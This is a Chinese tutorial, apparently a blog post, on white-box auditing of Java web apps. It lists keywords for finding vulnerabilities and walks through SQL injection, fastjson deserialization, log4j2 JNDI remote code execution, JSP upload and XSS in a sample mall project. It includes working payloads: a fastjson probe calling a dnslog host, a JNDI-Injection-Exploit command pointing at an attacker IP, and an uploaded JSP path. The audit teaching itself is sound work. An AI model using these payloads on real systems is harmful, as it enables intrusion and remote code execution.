代碼審計之路之白盒挖掘機
Java審計其實和Php審計的思路一樣,唯一不同的可能是復雜的框架和代碼。
1.正向跟蹤
從數據層查找變量,一級一級調用,最后到控制器,這種相對簡單、快速。
2.逆向思維,追蹤變量,對象調用
查找變量,有沒有傳參數,是誰調用了這個變量,又是誰調用了這個方法,先從控制器找變量,然后逆著找方法,調用關系,最后到DAO層數據。這種方法一般比較浪費時間,跟蹤到最后可能發現變量不可控。
3.直接挖掘漏洞點
比如搭建后,訪問平臺,發現有上傳的功能,直接去控制器找上傳相關代碼,進行審計。
4.通讀全文代碼
這是最純粹、最直接的方式。但是可能會遇到一個問題——看不懂代碼。
怎么解決?這個我也不知道,我也看不懂......
關鍵字定位SQL注入
大多數JavaEE網站,用的相對多的是SpringMVC架構,那么用到的Mybatis框架就會比較多,所以搜索SQL關鍵字就是"${}"優先,其次是以下的關鍵字。
如果是SpringBoot ,可能會使用注解等方式,如:
@query(selectid from user where name = ?);
以上語句寫了"?",則代表是預編譯語句,就不會產生注入,如果寫的是變量,就可能產生注入了。
${}
select
insert
update
in
like
obderby
statement
文件上傳
在文件上傳功能中,先看框架——比如Spring框架,默認不會解析jsp文件。然后看代碼有沒有定義黑名單數組等等。
org.apache.comons.fileupload file xxxstream RequestMethod MultipartHttpServletRequest
xss
getParamter <%= param el表達式
目錄遍歷
path
System.GetProperty("yser.dir")
fileInputStream
file.read
filePath
xml注入類似xxe
DocumentBuilder XMLStreamReader SAXBuilder SAXParserSAXReader XMLReader SAXSource TransformerFactory SAXTransformerFactory SchemaFactory
命令執行
ProcessBuilder start Runtime getRuntime exec
序列化
readObject readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject
任意文件刪除
delete
邏輯漏洞沒什么關鍵字,可以去看User控制器,或者看過濾器,尋找有無校驗。
MVC模式講解
MVC模式是一種軟件框架模式,被廣泛應用在JavaEE項目的開發中。
MVC即模型(Model)、視圖(View)、控制器(Controller)。
模型(Model)
模型是用于處理數據邏輯的部分。
所謂數據邏輯,也就是數據的映射以及對數據的增刪改查,Bean、DAO(dataaccess object,數據訪問對象)等都屬于模型部分。
視圖(View)
視圖負責數據與其它信息的顯示,也就是給用戶看到的頁面。
HTML、JSP等頁面都可以作為視圖。
控制器(controller)
控制器是模型與視圖之間的橋梁,控制著數據與用戶的交互。
控制器通常負責從視圖讀取數據,處理用戶輸入,并向模型發送數據,也可以從模型中讀取數據,再發送給視圖,由視圖顯示。
首先要了解項目整體結構。大致了解作者編寫邏輯,搞清請求流程。
src/main下面有兩個目錄,分別是java和resources,java目錄中主要存放的是java代碼,resources目錄中主要存放的是資源文件,比如:html、js、css等。
在Java目錄下還有其他一些常見目錄,具體含義整理如下:
/java目錄下
annotation:放置項目自定義注解;
controller/: 存放控制器,接收從前端傳來的參數,對訪問控制進行轉發、各類基本參數校驗或者不復用的業務簡單處理等;
dao/: 數據訪問層,與數據庫進行交互,負責數據庫操作,在Mybaits框架中存放自定義的Mapper接口;
entity/: 存放實體類;
interceptor/: 攔截器;
service/:存放服務類,負責業務模塊邏輯處理。Service層中有兩種類,一是Service,用來聲明接口;二是ServiceImpl,作為實現類實現接口中的方法;
utils/: 存放工具類;
dto/: 存放數據傳輸對象(DataTransfer Object),如請求參數和返回結果;
vo/: 視圖對象(ViewObject)用于封裝客戶端請求的數據,防止部分數據泄漏,保證數據安全
constant/: 存放常量;
filter/: 存放過濾器。
/resources目錄下
mapper/:存放Mybaits的mapper.xml文件;
static/:存放靜態資源文件目錄(Javascript、CSS、圖片等),在這個目錄中的所有文件可以被直接訪問;
templates/: 存放模版文件;
application.properties或application.yml:Spring Boot:默認配置文件。
代碼跟蹤流程
用戶請求URL發送到服務器,服務器解析請求后發送到后端代碼處理請求。
在后端代碼處,首先經過Filter(過濾器)和Interceptor(攔截器),然后根據請求的URL映射到綁定的Controller,之后調用Service接口類,然后再調用serviceImpl接口實現類,最后調用DAO。
controller:負責簡單的邏輯處理和參數校驗功能,之后調用Service;
service:接口類,主要負責業務模塊邏輯處理;
serviceImpl:接口實現類,實現類實現service接口中的方法;
DAO:如果service涉及數據庫操作就會調用DAO。DAO主要處理數據庫操作。DAO只做中間傳遞角色,
環境搭建
以某項目為例。
配置maven環境,更改中文鏡像:

選擇pom.xml重載項目 會自動加載依賴:

找到配置文件更改端口,數據庫信息等,找到sqls文件夾,創建數據庫導入數據即可:

等pom.xml頁面沒有爆紅,并且自己顯示了綠色按鈕就可以開啟環境了:

啟動項目:

漏洞挖掘SQL注入P1
因為用了mybatis框架,所以先搜索看看有沒有使用不安全的符號進行傳參:

總共發現了五個,選擇第一個開始審計:

參數點在88行,向上尋找調用語句:

上面圖片中,88為變量所在行數,向上尋找select參數,發現是在55行,點擊箭頭,即可跳轉到對應的接口類。


繼續尋找,點擊方法:


先在漏洞點打上斷點,標記下:

然后找方法:

RequestMapping 是映射的路徑,瀏覽器訪問試試:

找到對應的頁面:

注意這些字段,orderby是通過web傳參,isdesc默認是true:

然后orderutil默認null,判斷orderby是否為空,不為空則執行打印,然后吧數據帶入到orderutil,再然后帶入斷點的地方:

查看此方法,沒有做過濾:

Web抓包進行測試,默認是空的,加上sleep(4),延遲有點高:


sqlmap驗證:

SQL注入P2
經過上面的流程,我們大致知道審計步驟了,那再嘗試一個:




可以發現 和剛才的一樣:



剩下的也是同樣的思路。
fastjson反序列化
搜索關鍵字:

又回到了剛才的代碼:

上方的注釋告訴我們,這是在產品添加功能。
把鼠標放到數據里,會顯示原數據格式,是json沒錯了:

dnslog探測:
{"@type":"java.net.Inet4Address","val":"bb1e2x.dnslog.cn"}
url編碼
%7B%22%40%74%79%70%65%22%3A%22%6A%61%76%61%2E%6E%65%74%2E%49%6E%65%74%34%41%64%64%72%65%73%73%22%2C%22%76%61%6C%22%3A%22%62%62%31%65%32%78%2E%64%6E%73%6C%6F%67%2E%63%6E%22%7D

log4j2遠程代碼執行
搜索關鍵字info、error、logger等,找變量拼接:


獲取的是個整數不是字符串,這個就不能被控制。接著找。找了一圈,終于找到有字符串的了:

來到上傳頭像的地方,抓包:

獲取了數據but dnslog,沒數據看了下jdk,原來版本太高了,換一下版本,發現仍然不行。嘗試彈計算器,結果成功:
java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open/System/Applications/Calculator.app" -A "172.16.183.129"

任意文件上傳
同上,就是頭像上傳功能:

獲取文件名,然后去掉多余的“.”。名字是隨機的uuid,拼接路徑,然后上傳,沒有做過濾。
上傳一個jsp試試:

/tmall/res/images/item/userProfilePicture/e4b3a476-a492-446b-b033-e54f4b152c7c.jsp
發現jsp被執行了,為什么?因為在pom添加了解析庫,大多數項目是不會添加的:


反射xss
牢記四字:見框就插。


總結
有任何問題,可以在評論區留言,我們共同探討,共同進步!